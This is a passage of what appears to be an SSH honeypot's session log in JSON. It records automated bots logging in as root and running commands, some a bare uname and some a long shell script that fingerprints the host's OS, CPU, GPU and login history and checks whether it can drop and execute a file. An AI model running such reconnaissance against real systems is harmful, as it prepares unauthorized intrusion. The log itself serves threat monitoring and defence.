s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:20:52.779088+00:00",
  "ended_at": "2026-08-25T02:20:53.188705+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "2d9c5935-8af1-4637-85ee-5497f1df4d0e",
  "name": "silent-valiant-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 54172,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 252,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:20:50.514387+00:00",
  "ended_at": "2026-08-25T02:20:53.693176+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d6e9121d-0df5-4837-91f0-f50246eb775a",
  "name": "rambling-plush-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 49350,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:20:11.117043+00:00",
  "ended_at": "2026-08-25T02:20:14.009129+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5ffb6da6-f92e-4086-916c-862385561232",
  "name": "patient-smooth-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 36152,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:20:05.245733+00:00",
  "ended_at": "2026-08-25T02:20:06.206040+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "45e32b7b-5dee-49fe-9f27-066a4ee253dd",
  "name": "ivory-western-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 49926,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 251,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:19:49.998274+00:00",
  "ended_at": "2026-08-25T02:19:52.901263+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dd0bb510-e9cf-44e7-b989-fe5f58761143",
  "name": "humble-quaint-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 32998,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 225,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:19:37.907161+00:00",
  "ended_at": "2026-08-25T02:19:43.120472+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "62f2455c-4a0c-4166-a6b5-f87e53ed2141",
  "name": "ashen-thrifty-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 34544,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:19:16.128415+00:00",
  "ended_at": "2026-08-25T02:19:17.092694+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8d282734-f1d5-4de2-8e00-b4ec3f31c555",
  "name": "frank-prickly-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.153.34.165",
  "src_port": 33004,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T02:18:55.401527+00:00",
  "ended_at": "2026-08-25T02:18:56.413912+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d9b529e2-7979-4a55-8dd1-6ca4447152f9",
  "name": "prickly-meadow-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 49002,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:18:48.033930+00:00",
  "ended_at": "2026-08-25T02:18:53.050455+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "774e4f9f-49ef-428c-be52-56457fec1177",
  "name": "electric-umber-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 34086,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 223,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:18:45.705568+00:00",
  "ended_at": "2026-08-25T02:18:48.597418+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8d1ab32e-59c0-4071-98c3-3d752062b27d",
  "name": "tawny-brisk-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 32934,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:18:27.995874+00:00",
  "ended_at": "2026-08-25T02:18:28.569814+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "1ec07abe-2503-4c4f-8f40-302827361fd7",
  "name": "somber-eager-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 40384,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:18:11.387246+00:00",
  "ended_at": "2026-08-25T02:18:15.111760+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4cacb190-4f48-4371-bf91-83efc9e253d3",
  "name": "jaunty-distant-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 40458,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 226,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:17:54.900804+00:00",
  "ended_at": "2026-08-25T02:17:59.807243+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f2898a70-d0d3-4889-a22c-5e235b4b10f3",
  "name": "flinty-loyal-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 50900,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 222,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:17:42.507517+00:00",
  "ended_at": "2026-08-25T02:17:48.321298+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e305b9c2-7fbb-4a2f-a2e1-55e27e964a87",
  "name": "feathered-mindful-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 59564,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:17:41.876359+00:00",
  "ended_at": "2026-08-25T02:17:42.666268+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "6bcb9f32-4462-4bde-a912-b24b36cd36df",
  "name": "idle-mindful-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 54146,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:17:20.113348+00:00",
  "ended_at": "2026-08-25T02:17:26.085593+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4705c245-6379-4a7b-af62-f997ab496f4e",
  "name": "blithe-wistful-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 57960,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 